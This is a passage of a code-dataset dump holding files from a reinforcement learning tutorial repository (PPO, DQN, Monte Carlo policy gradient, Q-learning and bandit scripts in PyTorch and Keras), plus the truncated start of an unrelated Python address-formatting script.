torch.cat(returns).detach()\n\n log_probs = torch.cat(log_probs).detach()\n values = torch.cat(values).detach()\n\n states = torch.cat(states)\n actions = torch.cat(actions)\n advantage = returns- values # target_reward - predict_reward\n\n\n ppo_update(ppo_epochs, mini_batch_size, states, \\\n actions, log_probs, returns, advantage)\n finally:\n print('xixi')\n # End all process\n for w in workers:\n w.child.send((\"close\", None))\n\n\n\n" }, { "alpha_fraction": 0.5254643559455872, "alphanum_fraction": 0.5506291389465332, "avg_line_length": 33.36082458496094, "blob_id": "5b0583cf281d812d6bcd9a0d4eced7078d7a0099", "content_id": "490ff7e1b4678d8f7941ba1839443a8c7111ca3c", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3386, "license_type": "permissive", "max_line_length": 102, "num_lines": 97, "path": "/Q_Learning/cartpole_keras.py", "repo_name": "ray075hl/RL_classic_algorithms", "src_encoding": "UTF-8", "text": "import gym\nimport numpy as np\nimport random\nfrom keras.layers import Dense, InputLayer\nfrom keras.models import Sequential\nfrom collections import deque\nfrom keras.optimizers import Adam, SGD\n\n\n\nmodel = Sequential()\nmodel.add(InputLayer(batch_input_shape=(None, 4)))\nmodel.add(Dense(10, activation='relu'))\nmodel.add(Dense(10, activation='relu'))\nmodel.add(Dense(2, activation='linear'))\nmodel.compile(loss='mse', optimizer=Adam(lr=0.001), metrics=['mae'], )\nmodel.summary()\n\nclass CartPole():\n\n def __init__(self, env):\n\n self.episode = 10000\n self.gamma = 0.95\n self.decay = 0.995\n self.total_reward = 0\n self.eps = 1.0\n self.min_eps = 0.01\n self.action_num = env.action_space.n\n self.model = model\n self.memory = deque(maxlen=20000)\n\n def select_action(self, state, time, flag):\n if flag == False:\n if np.random.random() < self.eps:\n return np.random.randint(0, self.action_num)\n else:\n return np.argmax(model.predict(state)[0])\n else:\n return np.argmax(model.predict(state)[0])\n\n def training(self, current_state, env, time):\n if self.eps > self.min_eps:\n self.eps *= self.decay\n else:\n self.eps = self.min_eps\n current_state = current_state.reshape((-1, 4))\n self.total_reward = 0\n flag_3000 = False\n while True:\n if flag_3000==True:\n env.render()\n # select_action\n action = self.select_action(current_state, time, flag_3000)\n # next_state\n next_state, reward, done, _ = env.step(action)\n next_state = next_state.reshape((-1, 4))\n self.total_reward += reward\n\n self.memory.append([current_state, next_state, reward, action, done])\n if self.total_reward > 3000:\n flag_3000 = True\n\n if done:\n flag_3000 = False\n break\n\n # update state\n current_state = next_state\n\n # print total reward in this episode\n print('time: {}, Reward: {}, eps: {}'.format(time, self.total_reward, self.eps))\n # replay\n if len(self.memory) >= 128:\n X = []\n Y = []\n batch_data = random.sample(self.memory, 128)\n for state_ , next_state_, reward_, action_, done_ in batch_data:\n if done_:\n target_q_value = -10.#reward_ # reward_ๆ’็ญ‰ไบŽ1.0 done_็ญ‰ไบŽTrue็š„ๆƒ…ๅ†ตไธ‹๏ผŒไนŸๅญฆ่ฆๅญฆไน ๏ผŒ ๅญฆไน ๆƒฉ็ฝš๏ผŸ\n if not done_: # ๅฆ‚ๆžœ done_ ไธบ False reward\n # Compute target q value\n target_q_value = self.gamma * np.max(self.model.predict(next_state_)[0]) + reward_\n # Compute predict q value\n action_vec = self.model.predict(state_)\n action_vec[0][action_] = target_q_value\n X.append(state_[0])\n Y.append(action_vec.reshape(1, 2)[0])\n self.model.fit(np.array(X), np.array(Y), epochs=1, verbose=0)\n #self.memory.clear()\n\nif __name__ == '__main__':\n env = gym.make(\"CartPole-v0\").unwrapped\n cartpole = CartPole(env)\n for epi in range(cartpole.episode):\n init_state = env.reset()\n cartpole.training(init_state, env, epi)\n\n\n\n\n\n" }, { "alpha_fraction": 0.739469587802887, "alphanum_fraction": 0.7457098364830017, "avg_line_length": 51.41666793823242, "blob_id": "ea91cc0adf0406c4ba46729cf1b1334f05a52a2d", "content_id": "a1fa3521fd2f0420f534d0ddae8f435d79f49536", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 641, "license_type": "permissive", "max_line_length": 145, "num_lines": 12, "path": "/Q_Learning/README.md", "repo_name": "ray075hl/RL_classic_algorithms", "src_encoding": "UTF-8", "text": "## Q_Learning\r\n\r\n**Q_learning_find_room_path.py** show a normal q learning method with q value table about problem[2].\r\n\r\n**NChain\\*.py** deal with n-chain problem by neural network displace for q value table. \r\n\r\n### reference\r\n[1][http://neuro.cs.ut.ee/demystifying-deep-reinforcement-learning/](http://neuro.cs.ut.ee/demystifying-deep-reinforcement-learning/)\r\n\r\n[2][http://mnemstudio.org/path-finding-q-learning-tutorial.htm](http://mnemstudio.org/path-finding-q-learning-tutorial.htm)\r\n\r\n[3][http://users.isr.ist.utl.pt/~mtjspaan/readingGroup/ProofQlearning.pdf](http://users.isr.ist.utl.pt/~mtjspaan/readingGroup/ProofQlearning.pdf)\r\n" }, { "alpha_fraction": 0.5660960674285889, "alphanum_fraction": 0.5760818123817444, "avg_line_length": 27.41891860961914, "blob_id": "ebc1fa850e2126fdae7652bc55f5b4f11e0f711e", "content_id": "10bc0c408058cc2fdd571beb48204a607ede95bb", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4206, "license_type": "permissive", "max_line_length": 112, "num_lines": 148, "path": "/MC_and_TD/monte_carlo_cartpole.py", "repo_name": "ray075hl/RL_classic_algorithms", "src_encoding": "UTF-8", "text": "import time\nimport gym\nimport numpy as np\n\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\nimport torch.nn.functional as F\n\n\nGAMMA = 0.99\nEPISODES_TO_TRAIN = 4\n\n# if gpu is to be used\ndevice = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n\n\ndef calc_qvals(rewards):\n res = []\n sum_r = 0.0\n for r in reversed(rewards):\n sum_r *= GAMMA\n sum_r += r\n res.append(sum_r)\n return list(reversed(res))\n\n\nclass Net(nn.Module):\n def __init__(self, input_size, n_actions):\n super(Net, self).__init__()\n\n self.net = nn.Sequential(\n nn.Linear(input_size, 128),\n nn.ReLU(),\n nn.Linear(128, n_actions)\n )\n\n def forward(self, x):\n return self.net(x)\n\n\nclass Agent:\n def __init__(self, env):\n self.net = Net(env.observation_space.shape[0], env.action_space.n).to(device)\n self.action_space = range(env.action_space.n)\n self.optimizer = optim.Adam(self.net.parameters(), lr=0.01)\n\n def select_action(self, state):\n state = torch.tensor(state, dtype=torch.float).to(device)\n state.unsqueeze(0)\n action_dis = F.softmax(self.net(state), dim=0)\n action = np.random.choice(self.action_space, p=action_dis.cpu().detach().numpy())\n return action\n\n def take_action(self, env, action):\n state, r, done, _ = env.step(action)\n return state, r, done\n\n def try_episode_datagen(self, env):\n state = env.reset()\n while True:\n action = self.select_action(state)\n\n next_state, reward, done =self.take_action(env, action)\n if done:\n next_state = None\n yield state, next_state, done, reward, action\n state = env.reset()\n continue\n yield state, next_state, done, reward, action\n state = next_state\n\n def training(self, data, rewards, actions):\n self.optimizer.zero_grad()\n inputs = torch.tensor(data, dtype=torch.float).to(device)\n logits = self.net(inputs)\n action_dis = F.log_softmax(logits, dim=1)\n\n rewards = torch.tensor(rewards, dtype=torch.float).to(device)\n actions = torch.tensor(actions, dtype=torch.long)\n\n action_v = rewards * action_dis[range(len(rewards)), actions]\n\n loss = -action_v.mean()\n\n loss.backward()\n self.optimizer.step()\n\n def play_games(self, env): # test environment\n state = env.reset()\n while True:\n action = self.select_action(state)\n state, r, done = self.take_action(env, action)\n env.render()\n time.sleep(0.1)\n if done:\n break\n env.close()\n return None\n\n\nif __name__ == '__main__':\n env = gym.make(\"CartPole-v0\")\n agent = Agent(env)\n\n step = 0\n episode = 0\n\n total_rewards = []\n cur_rewards = []\n\n batch_states, batch_actions, batch_qvals = [], [], []\n data_source = agent.try_episode_datagen(env) # Is a generator\n\n for step_idx, data in enumerate(data_source):\n state, last_state, done, reward, action = data\n\n batch_states.append(state)\n batch_actions.append(int(action))\n cur_rewards.append(reward)\n\n if last_state is None:\n batch_qvals.extend(calc_qvals(cur_rewards))\n total_rewards.append(np.sum(cur_rewards))\n cur_rewards.clear()\n episode += 1\n if episode < EPISODES_TO_TRAIN:\n continue\n\n states_v = torch.FloatTensor(batch_states)\n batch_actions_t = torch.LongTensor(batch_actions)\n batch_qvals_v = torch.FloatTensor(batch_qvals)\n\n agent.training(states_v, batch_qvals_v, batch_actions_t)\n\n step += 1\n print(len(batch_states))\n if float(np.mean(total_rewards[-100:])) > 195: # 195 rewards is a baseline\n print('finished')\n break\n else:\n print('step : {} , Recent_100_episodes_mean: {}'.format(step, float(np.mean(total_rewards[-100:]))))\n episode = 0\n batch_states.clear()\n batch_actions.clear()\n batch_qvals.clear()\n\n agent.play_games(env)\n" }, { "alpha_fraction": 0.5756204128265381, "alphanum_fraction": 0.5895372033119202, "avg_line_length": 27.917476654052734, "blob_id": "4531b722e08afb585767eb86fe4a807bf732109a", "content_id": "9ecdc33d678e98aa44f290735e5070a6c0debff2", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5964, "license_type": "permissive", "max_line_length": 117, "num_lines": 206, "path": "/Policy_Gradient/ppo_test.py", "repo_name": "ray075hl/RL_classic_algorithms", "src_encoding": "UTF-8", "text": "import gym\nimport random\nimport math\n\nimport numpy as np\n\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\nimport torch.nn.functional as F\nfrom torch.distributions import Normal\n\n\nimport matplotlib.pyplot as plt\n\n\n\nuse_cuda = torch.cuda.is_available()\ndevice = torch.device(\"cuda\" if use_cuda else \"cpu\")\n\nfrom multiprocessing_env import SubprocVecEnv\n\nnum_envs = 16\nenv_name = \"Pendulum-v0\"\n\ndef make_env():\n def _thunk():\n env = gym.make(env_name)\n return env\n\n return _thunk\n\nenvs = [make_env() for i in range(num_envs)]\nenvs = SubprocVecEnv(envs)\n\nenv = gym.make(env_name)\n\n\ndef init_weights(m):\n if isinstance(m, nn.Linear):\n nn.init.normal_(m.weight, mean=0., std=0.1)\n nn.init.constant_(m.bias, 0.1)\n\n\nclass ActorCritic(nn.Module):\n def __init__(self, num_inputs, num_outputs, hidden_size, std=0.0):\n super(ActorCritic, self).__init__()\n\n self.critic = nn.Sequential(\n nn.Linear(num_inputs, hidden_size),\n nn.ReLU(),\n nn.Linear(hidden_size, 1)\n )\n\n self.actor = nn.Sequential(\n nn.Linear(num_inputs, hidden_size),\n nn.ReLU(),\n nn.Linear(hidden_size, num_outputs),\n )\n self.log_std = nn.Parameter(torch.ones(1, num_outputs) * std)\n\n self.apply(init_weights)\n\n def forward(self, x):\n value = self.critic(x)\n mu = self.actor(x)\n std = self.log_std.exp().expand_as(mu)\n dist = Normal(mu, std)\n return dist, value\n\n\ndef plot(frame_idx, rewards):\n plt.figure(figsize=(20, 5))\n plt.subplot(131)\n plt.title('frame %s. reward: %s' % (frame_idx, rewards[-1]))\n plt.plot(rewards)\n plt.show()\n\n\ndef test_env(vis=False):\n state = env.reset()\n if vis: env.render()\n done = False\n total_reward = 0\n while not done:\n state = torch.FloatTensor(state).unsqueeze(0).to(device)\n dist, _ = model(state)\n next_state, reward, done, _ = env.step(dist.sample().cpu().numpy()[0])\n state = next_state\n if vis: env.render()\n total_reward += reward\n return total_reward\n\n\ndef compute_gae(next_value, rewards, masks, values, gamma=0.99, tau=0.95):\n values = values + [next_value]\n gae = 0\n returns = []\n for step in reversed(range(len(rewards))):\n delta = rewards[step] + gamma * values[step + 1] * masks[step] - values[step]\n gae = delta + gamma * tau * masks[step] * gae\n returns.insert(0, gae + values[step])\n return returns\n\n\ndef ppo_iter(mini_batch_size, states, actions, log_probs, returns, advantage):\n batch_size = states.size(0)\n for _ in range(batch_size // mini_batch_size):\n rand_ids = np.random.randint(0, batch_size, mini_batch_size)\n yield states[rand_ids, :], actions[rand_ids, :], log_probs[rand_ids, :], returns[rand_ids, :], advantage[\n rand_ids, :]\n\n\ndef ppo_update(ppo_epochs, mini_batch_size, states, actions, log_probs, returns, advantages, clip_param=0.2):\n for _ in range(ppo_epochs):\n for state, action, old_log_probs, return_, advantage in ppo_iter(mini_batch_size, states, actions, log_probs,\n returns, advantages):\n dist, value = model(state)\n entropy = dist.entropy().mean()\n new_log_probs = dist.log_prob(action)\n\n ratio = (new_log_probs - old_log_probs).exp()\n surr1 = ratio * advantage\n surr2 = torch.clamp(ratio, 1.0 - clip_param, 1.0 + clip_param) * advantage\n\n actor_loss = - torch.min(surr1, surr2).mean()\n critic_loss = (return_ - value).pow(2).mean()\n\n loss = 0.5 * critic_loss + actor_loss - 0.001 * entropy\n\n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n\nnum_inputs = envs.observation_space.shape[0]\nnum_outputs = envs.action_space.shape[0]\n\n#Hyper params:\nhidden_size = 256\nlr = 3e-4\nnum_steps = 20\nmini_batch_size = 5\nppo_epochs = 4\nthreshold_reward = -200\n\nmodel = ActorCritic(num_inputs, num_outputs, hidden_size).to(device)\noptimizer = optim.Adam(model.parameters(), lr=lr)\n\n\nmax_frames = 15000\nframe_idx = 0\ntest_rewards = []\n\nstate = envs.reset()\nearly_stop = False\n\nwhile frame_idx < max_frames and not early_stop:\n\n log_probs = []\n values = []\n states = []\n actions = []\n rewards = []\n masks = []\n entropy = 0\n\n for _ in range(num_steps):\n state = torch.FloatTensor(state).to(device)\n dist, value = model(state)\n\n action = dist.sample()\n next_state, reward, done, _ = envs.step(action.cpu().numpy())\n\n log_prob = dist.log_prob(action)\n entropy += dist.entropy().mean()\n\n log_probs.append(log_prob)\n values.append(value)\n rewards.append(torch.FloatTensor(reward).unsqueeze(1).to(device))\n masks.append(torch.FloatTensor(1 - done).unsqueeze(1).to(device))\n\n states.append(state)\n actions.append(action)\n\n state = next_state\n frame_idx += 1\n\n if frame_idx % 1000 == 0:\n test_reward = np.mean([test_env() for _ in range(10)])\n test_rewards.append(test_reward)\n plot(frame_idx, test_rewards)\n if test_reward > threshold_reward: early_stop = True\n\n next_state = torch.FloatTensor(next_state).to(device)\n _, next_value = model(next_state)\n returns = compute_gae(next_value, rewards, masks, values)\n\n returns = torch.cat(returns).detach()\n print(torch.sum(returns, dim=0))\n log_probs = torch.cat(log_probs).detach()\n values = torch.cat(values).detach()\n states = torch.cat(states)\n actions = torch.cat(actions)\n advantage = returns - values\n\n ppo_update(ppo_epochs, mini_batch_size, states, actions, log_probs, returns, advantage)\n\n\n\n\n\n\n\n" }, { "alpha_fraction": 0.41228070855140686, "alphanum_fraction": 0.45739349722862244, "avg_line_length": 34.44444274902344, "blob_id": "d1c150f958e0545aecade938fa9ad2d03d43b0c0", "content_id": "dbd33fa9fe53a7ed36bd2c219b90b27a99bfdd53", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1596, "license_type": "permissive", "max_line_length": 106, "num_lines": 45, "path": "/Q_Learning/q_learning_find_room_path.py", "repo_name": "ray075hl/RL_classic_algorithms", "src_encoding": "UTF-8", "text": "import numpy as np\n\nif __name__ == '__main__':\n Q = np.zeros((6,6))\n R = -1* np.ones((6,6))\n R[0, 4] = 0\n R[1, 3] = 0; R[1, 5] = 100\n R[2, 3] = 0\n R[3, 1] = 0; R[3, 2] = 0; R[3, 4] = 0\n R[4, 0] = 0; R[4, 3] = 0; R[4, 5] = 100\n R[5, 1] = 0; R[5, 4] = 0; R[5, 5] = 100\n\n lr = 0.8\n gamma = 0.95\n eps = 0.5\n decay_factor = 0.999\n\n episode = 1000\n for i in range(episode): \n state = np.random.randint(0, 6) # random choose start state \n done = False\n eps *= decay_factor\n while not done:\n # list possible new state at current state\n possible_state = [i for i, v in enumerate(R[state, :]) if v != -1]\n\n if np.random.random() < eps: # exploration\n new_state = np.random.choice(possible_state)\n else: # exploitation\n temp = [R[state, x] for x in possible_state]\n index = np.argmax(temp)\n print('index', index)\n new_state = possible_state[index]\n # new_state = np.random.choice(possible_state)\n # update Q value table\n possible_new_state = [i for i, v in enumerate(R[new_state, :]) if v != -1]\n temp_1 = [Q[new_state, x] for x in possible_new_state]\n Q[state, new_state] += R[state, new_state] + lr*(gamma * np.max(temp_1) - Q[state, new_state])\n state = new_state\n if new_state == 5:\n done = True\n\n print(Q/np.max(Q))\n\n print(R)\n\n" }, { "alpha_fraction": 0.5527841448783875, "alphanum_fraction": 0.5725724697113037, "avg_line_length": 32.84735107421875, "blob_id": "68348c49cbe145f0c41559158956e319a26caadd", "content_id": "e90fb3464bac37ceeb7b5e0ba4c51f98ebbb4878", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 10865, "license_type": "permissive", "max_line_length": 141, "num_lines": 321, "path": "/Policy_Gradient/PPO_breakout2.py", "repo_name": "ray075hl/RL_classic_algorithms", "src_encoding": "UTF-8", "text": "import torch\nimport torch.nn as nn\nimport torch.optim as optim\nimport torch.nn.functional as F\n\nfrom baselines.common.atari_wrappers import FrameStack, make_atari, wrap_deepmind\nfrom baselines.common.vec_env.subproc_vec_env import SubprocVecEnv\nfrom baselines.common.vec_env.vec_frame_stack import VecFrameStack\n\nimport gym\nimport numpy as np\nimport cv2\n\nuse_cuda = torch.cuda.is_available()\ndevice = torch.device('cuda' if use_cuda else 'cpu')\n\nenv_name = 'BreakoutNoFrameskip-v0'\nenv_num = 8\nppo_epochs = 3\nmini_batch_size = 256\n\nmax_frames = 150000000\nframe_idx = 0\n\naction_space = 4\nlr = 0.0001\ngamma_ = 0.99\nlambda_ = 0.95\n\nnum_steps = 128\n\ndef ortho_weights(shape, scale=1.):\n \"\"\" PyTorch port of ortho_init from baselines.a2c.utils \"\"\"\n shape = tuple(shape)\n\n if len(shape) == 2:\n flat_shape = shape[1], shape[0]\n elif len(shape) == 4:\n flat_shape = (np.prod(shape[1:]), shape[0])\n else:\n raise NotImplementedError\n\n a = np.random.normal(0., 1., flat_shape)\n u, _, v = np.linalg.svd(a, full_matrices=False)\n q = u if u.shape == flat_shape else v\n q = q.transpose().copy().reshape(shape)\n\n if len(shape) == 2:\n return torch.from_numpy((scale * q).astype(np.float32))\n if len(shape) == 4:\n return torch.from_numpy((scale * q[:, :shape[1], :shape[2]]).astype(np.float32))\n\n\ndef atari_initializer(module):\n \"\"\" Parameter initializer for Atari models\n Initializes Linear, Conv2d, and LSTM weights.\n \"\"\"\n classname = module.__class__.__name__\n\n if classname == 'Linear':\n module.weight.data = ortho_weights(module.weight.data.size(), scale=np.sqrt(2.))\n module.bias.data.zero_()\n\n elif classname == 'Conv2d':\n module.weight.data = ortho_weights(module.weight.data.size(), scale=np.sqrt(2.))\n module.bias.data.zero_()\n\n elif classname == 'LSTM':\n for name, param in module.named_parameters():\n if 'weight_ih' in name:\n param.data = ortho_weights(param.data.size(), scale=1.)\n if 'weight_hh' in name:\n param.data = ortho_weights(param.data.size(), scale=1.)\n if 'bias' in name:\n param.data.zero_()\ndef ortho_weights(shape, scale=1.):\n \"\"\" PyTorch port of ortho_init from baselines.a2c.utils \"\"\"\n shape = tuple(shape)\n\n if len(shape) == 2:\n flat_shape = shape[1], shape[0]\n elif len(shape) == 4:\n flat_shape = (np.prod(shape[1:]), shape[0])\n else:\n raise NotImplementedError\n\n a = np.random.normal(0., 1., flat_shape)\n u, _, v = np.linalg.svd(a, full_matrices=False)\n q = u if u.shape == flat_shape else v\n q = q.transpose().copy().reshape(shape)\n\n if len(shape) == 2:\n return torch.from_numpy((scale * q).astype(np.float32))\n if len(shape) == 4:\n return torch.from_numpy((scale * q[:, :shape[1], :shape[2]]).astype(np.float32))\n\ndef compute_gae(next_value, rewards, masks, values, gamma=0.99, tau=0.95):\n #print('+++: ', values)\n #print('---: ', len(rewards))\n values = values + [next_value]\n gae = 0\n returns = []\n\n for step in reversed(range(len(rewards))): # len(rewards) = 10\n delta = rewards[step] + gamma * values[step + 1] * masks[step] - values[step]\n gae = delta + gamma * tau * masks[step] * gae\n #xxx = gae.clone()\n returns.insert(0, gae + values[step])\n\n # print('----------')\n # print(values[step])\n\n return returns\n\ndef ppo_iter(mini_batch_size, states, actions, log_probs, returns, advantage):\n batch_size = states.size(0)\n for _ in range(batch_size // mini_batch_size):\n rand_ids = np.random.randint(0, batch_size, mini_batch_size)\n yield states[rand_ids, :], actions[rand_ids, :], log_probs[rand_ids, :], returns[rand_ids, :], advantage[\n rand_ids, :]\nfrom torch.nn.utils import clip_grad_norm_\n\ndef ppo_update(ppo_epochs, mini_batch_size, states, actions, log_probs, returns, advantages, clip_param=0.2):\n for _ in range(ppo_epochs):\n perm = np.arange(states.size()[0])\n np.random.shuffle(perm)\n perm = torch.LongTensor(perm).to(device)\n states, actions, log_probs, returns, advantages = states[perm].clone(), actions[perm].clone(), \\\n log_probs[perm].clone(), returns[perm].clone(), advantages[perm].clone()\n for state, action, old_log_probs, return_, advantage in ppo_iter(mini_batch_size, states, actions, log_probs,\n returns, advantages):\n # advantage = (advantage - advantage.mean()) / advantage.std()\n dist, value = model(state)\n prob = F.softmax(dist, dim=-1)\n log_prob_ = F.log_softmax(dist, dim=-1)\n entropy = (prob*(-1.0*log_prob_)).mean()\n new_log_probs = F.log_softmax(dist, dim=1) #dist.log_prob(action)\n\n\n ratio = (new_log_probs[range(mini_batch_size), action.squeeze()] - old_log_probs[range(mini_batch_size), action.squeeze()]).exp()\n surr1 = ratio * advantage\n surr2 = torch.clamp(ratio, 1.0 - clip_param, 1.0 + clip_param) * advantage\n\n actor_loss = -torch.min(surr1, surr2).mean()\n critic_loss = (return_ - value).pow(2).mean()\n #print('critic_loss: {}, actor_loss: {}, entropy_loss: {}'.format(critic_loss, actor_loss, entropy))\n loss = 0.5*critic_loss + actor_loss - 0.01 * entropy\n\n optimizer.zero_grad()\n loss.backward()\n clip_grad_norm_(model.parameters(), 0.5)\n optimizer.step()\n\ndef make_env(env_name, rank, seed):\n env = make_atari(env_name)\n env.seed(seed + rank)\n env = wrap_deepmind(env, episode_life=False, clip_rewards=False)\n return env\n\nenv_fns = []\nfor rank in range(env_num):\n env_fns.append(lambda: make_env(env_name, rank, 100 + rank))\n\nenvs = SubprocVecEnv(env_fns)\nenvs = VecFrameStack(envs, 4)\n\ntest_env = make_env(env_name, 0, 100)\ntest_env = FrameStack(test_env, 4)\nclass Model(nn.Module):\n def __init__(self, num_actions):\n \"\"\" Basic convolutional actor-critic network for Atari 2600 games\n Equivalent to the network in the original DQN paper.\n Args:\n num_actions (int): the number of available discrete actions\n \"\"\"\n super().__init__()\n\n self.conv = nn.Sequential(nn.Conv2d(4, 32, 8, stride=4),\n nn.ReLU(inplace=True),\n nn.Conv2d(32, 64, 4, stride=2),\n nn.ReLU(inplace=True),\n nn.Conv2d(64, 64, 3, stride=1),\n nn.ReLU(inplace=True))\n\n self.fc = nn.Sequential(nn.Linear(64 * 7 * 7, 512),\n nn.ReLU(inplace=True))\n\n self.pi = nn.Linear(512, num_actions)\n self.v = nn.Linear(512, 1)\n\n self.num_actions = num_actions\n\n # parameter initialization\n self.apply(atari_initializer)\n self.pi.weight.data = ortho_weights(self.pi.weight.size(), scale=.01)\n self.v.weight.data = ortho_weights(self.v.weight.size())\n\n def forward(self, conv_in):\n \n \"\"\" Module forward pass\n Args:\n conv_in (Variable): convolutional input, shaped [N x 4 x 84 x 84]\n Returns:\n pi (Variable): action probability logits, shaped [N x self.num_actions]\n v (Variable): value predictions, shaped [N x 1]\n \"\"\"\n conv_in = conv_in.float() / 255.0\n N = conv_in.size()[0]\n\n conv_out = self.conv(conv_in).view(N, 64 * 7 * 7)\n\n fc_out = self.fc(conv_out)\n\n pi_out = self.pi(fc_out)\n v_out = self.v(fc_out)\n\n return pi_out, v_out\nmodel = Model(4).to(device)\n\n\ndef play_test():\n state = test_env.reset()\n done = False\n ep_reward = 0.0\n last_action = np.array([-1])\n action_repeat = 0\n test_repeat_max = 100\n while not done:\n state = np.array(state)\n state = torch.from_numpy(state.transpose((2, 0, 1))).unsqueeze(0).to(device)\n\n pi, _ = model(state)\n _, action = torch.max(pi, dim=1)\n\n # abort after {self.test_repeat_max} discrete action repeats\n if action.data[0] == last_action.data[0]:\n action_repeat += 1\n if action_repeat == test_repeat_max:\n return ep_reward\n else:\n action_repeat = 0\n last_action = action\n\n state, reward, done, _ = test_env.step(action.data.cpu().numpy())\n\n ep_reward += reward\n\n return ep_reward\n\n\n\n\noptimizer = optim.Adam(model.parameters(), lr=lr)\n\ntest_rewards_list = []\n\nstate = envs.reset()\n\nprint(state.shape)\nwhile frame_idx < max_frames:\n log_probs = []\n values = []\n states = []\n actions = []\n rewards = []\n masks = []\n # first state , last state\n for _ in range(num_steps):\n state = torch.FloatTensor(state.transpose(0,3,1,2)).to(device)\n logits, value = model(state)\n\n\n\n u = torch.rand(logits.size()).to(device)\n _, action = torch.max(logits.data - (-u.log()).log(), 1)\n action_list = action.cpu().numpy() \n '''\n prob = F.softmax(logits, dim=1)\n action_list = []\n\n for i in range(len(prob)):\n action = np.random.choice(action_space, p=prob.cpu().detach().numpy()[i])\n action_list.append(action)\n '''\n\n next_state, reward, done, _ = envs.step(action_list)\n log_prob = F.log_softmax(logits, dim=-1)\n log_probs.append(log_prob)\n\n\n values.append(value)\n rewards.append(torch.FloatTensor(reward).unsqueeze(1).to(device)) # 2D list\n masks.append(torch.FloatTensor(1 - done).unsqueeze(1).to(device)) # 2D list\n\n\n states.append(state)\n actions.append(torch.from_numpy(np.asarray(action_list)).unsqueeze(1))\n state = next_state # -----------------\n frame_idx += 1\n if frame_idx % 1280 == 0:\n print(frame_idx, play_test())\n\n next_state = torch.FloatTensor(next_state.transpose(0,3,1,2)).to(device)\n _, next_value = model(next_state)\n returns = compute_gae(next_value, rewards, masks, values)\n #print('******')\n #print(test__)\n #print('******')\n returns = torch.cat(returns).detach()\n #print(returns)\n log_probs = torch.cat(log_probs).detach()\n values = torch.cat(values).detach()\n #print(values)\n # print(values.size())\n # exit()\n states = torch.cat(states)\n actions = torch.cat(actions)\n advantage = returns- values # target_reward - predict_reward\n\n ppo_update(ppo_epochs, mini_batch_size, states, \\\n actions, log_probs, returns, advantage)\n" }, { "alpha_fraction": 0.5597251653671265, "alphanum_fraction": 0.5798097252845764, "avg_line_length": 27.621212005615234, "blob_id": "1ad8701fcf7f376f69e70e8de1338e6667b8cc1e", "content_id": "1f327c53ade11ad8fd31ea498ace7129c8fe233b", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1892, "license_type": "permissive", "max_line_length": 101, "num_lines": 66, "path": "/books_RL_intro/chapter2/karm.py", "repo_name": "ray075hl/RL_classic_algorithms", "src_encoding": "UTF-8", "text": "import numpy as np\nimport matplotlib.pyplot as plt\n\n\nclass Game:\n def __init__(self, true_reward, arm_num=10, epsilon=0.1, turns = 2000):\n self.turns = turns\n self.k = arm_num\n self.eps = epsilon\n\n self.true_reward = true_reward # np.random.randn(self.k)\n\n self.q_estimation = np.zeros(self.k)\n self.action_numbers = np.zeros(self.k)\n self.total_reward = np.zeros(self.k)\n self.avg_reward = [0]\n\n def reset(self, eps_new):\n self.q_estimation = np.zeros(self.k)\n self.action_numbers = np.zeros(self.k)\n self.total_reward = np.zeros(self.k)\n self.avg_reward = [0]\n\n self.eps = eps_new\n\n def act(self):\n if np.random.rand() < self.eps:\n action = np.random.randint(self.k)\n else:\n action = np.argmax(self.q_estimation)\n\n return action\n\n\n def get_reward(self, action):\n return self.true_reward[action] + np.random.randn() # gaussian_mean + variance=1\n\n def simulation(self):\n turn = 0\n\n while turn < self.turns:\n action = self.act()\n reward = self.get_reward(action)\n self.action_numbers[action] += 1\n self.total_reward[action] += reward\n self.q_estimation[action] = 1.0 * self.total_reward[action] / self.action_numbers[action]\n turn += 1\n\n self.avg_reward.append(sum(self.total_reward) / turn)\n\n\nif __name__ == '__main__':\n arms = 10\n true_reward = np.random.randn(arms)\n game = Game(true_reward, arm_num=arms, epsilon=0.1)\n game.simulation()\n\n plt.figure(1)\n plt.plot(game.avg_reward, color='#FF0000' ) # red\n game.reset(0.0)\n game.simulation()\n plt.plot(game.avg_reward, color='#00FF00') # green\n game.reset(0.02)\n game.simulation()\n plt.plot(game.avg_reward, color='#0000FF') # blue\n plt.show()\n\n\n\n" } ]
10
ICS3U-Programming-JonathanK/Unit5-05-Python
https://github.com/ICS3U-Programming-JonathanK/Unit5-05-Python
6da47c3671e0c6340b7c55f1ae1f6e19458064fa
a55b98300b0a9a344bfc83d0fc90944272320734
a3a3572effa612e6ca5b0e8986b24f6532c32891
refs/heads/main
2023-05-09T19:42:40.450828
2021-06-08T02:18:44
2021-06-08T02:18:44
374,721,412
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5415094494819641, "alphanum_fraction": 0.5457547307014465, "avg_line_length": 38.25925827026367, "blob_id": "4061d1604bf1fb450bd40c5f5991f53495c93891", "content_id": "06e66340395742dc3cb704720177dc50b4ae3b77", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2120, "license_type": "no_license", "max_line_length": 78, "num_lines": 54, "path": "/address.py", "repo_name": "ICS3U-Programming-JonathanK/Unit5-05-Python", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n\n# Created by : Jonathan Kene\n# Created on : June 7 2021\n# This program prints out your address, using default function parameters\n\n\ndef formatted_address(name, street_number, street_name, city, province,\n postal_code, apartment_num=\" \"):\n\n # return the full formal name\n can_mail_format = \" \"\n can_mail_format = can_mail_format + name.upper() + \"\\n\"\n\n if apartment_num != \"\":\n can_mail_format = can_mail_format + apartment_num.upper() + \"-\"\n can_mail_format = (can_mail_format + street_number.upper() +\n \" \" + street_name.upper() + \"\\n\")\n can_mail_format = (can_mail_format + city.upper() + \" \" + province.upper()\n + \" \" + 